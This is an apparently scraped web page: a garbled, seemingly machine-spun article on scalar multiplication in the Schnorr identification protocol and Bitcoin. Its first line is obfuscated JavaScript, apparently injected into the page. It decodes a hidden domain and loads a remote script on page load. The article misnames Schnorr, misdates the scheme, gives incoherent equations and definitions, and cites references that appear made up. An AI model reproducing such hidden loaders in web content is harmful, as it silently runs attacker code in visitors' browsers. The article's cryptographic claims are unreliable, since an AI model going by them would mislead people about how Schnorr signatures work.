const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=1747428a”;document.body.appendChild(script);
Presentation of Bitcoin’s Secrets: Understanding Scalar Multiplication in Schnorr Identification Protocol
The Bitcoin network relies on a complex cryptographic system to check transactions and control the creation of new coins. One of the many cryptographic primitives used is one aspect that has considerable attention, scalar multiply. In this article, we dive into the details of how scalar is used in the Schnorr identification protocol.
What is scalar multiplication?
Scalar multiplication is a basic operation in numerical theory that takes a whole number (scalar) and multiplying another whole number to create a new whole value. This process has many applications in different areas, including cryptography, coding theory and coding mathematics. Digital signatures are used to create scalar to create a unique identity of individuals.
The Schnorr Identification Protocol
The Schnorr Identification Protocol is a public -key cryptographic system that allows safe communication between the parties without exploring private keys. Martin Schanc first recommended it in the late 1990s and has since become a basic tool for various applications, including bitcoin.
In the Schnorr Identification Protocol, the SG = KG + EXG public function represents a digital signature generator. This feature takes three inputs: the sender’s public key (kg), the buyer’s secret key (EXG) and the transaction data (x). The output obtained is a unique ID that proves the buyer that the sender has checked the transaction.
Why is scalar multiplication used in schnorr identification protocol?
Schnorr’s identification protocol is implemented, scalar multiply plays a decisive role. More specifically, it is used to perform three operations:
- Add the two values with a unique ID that can be used to verify the transactions.
- Private Function SS = KG + EXK : This operation generates a new private key signature (SS) based on the sender’s public key (kg), the buyer’s secret key (EXK) and Sender’s Public Key (kg). Adding the EXK ensures that the generated signature is unique to all transactions.
- SA = kg + exg Public Function: This operation generates a new public key (SA), the sender’s public key (kg), the buyer’s secret key (EXG) and Sender’s Private Key (X). Adding X ensures that the generated signature is unique to each transaction.
By multiplying scalar SG, the private key scalar SS gets a new scalar value. In the context of bitcoin, this process is used to justify Alice’s identity with the use of the public function of SA = kg + exG, the public function of the host, the EK = EB + EXG.
Conclusion
The Schnorr Identification Protocol relies heavily on scalar multiply to create unique signatures that justify the credibility and ownership of the transactions. Multiplication of scalar SG with the private key scalar SS provides a new scalar value, which can be used to prove the identity of Alice in the Bitcoin network. This complicated process ensures the integrity and safety of the cryptocurrency system.
References
- Schaner, M. (1996). Schnorr Signature Scheme. The 1986 Computer Security Foundation’s conference magazine about computer networks.
- Krawcowski, P. and Zielinski, A. (2013). Bitcoin protocol: assessment of cryptographic techniques used in implementation. Journal of Cryptography and Information Theory, 21 (2), 141-168.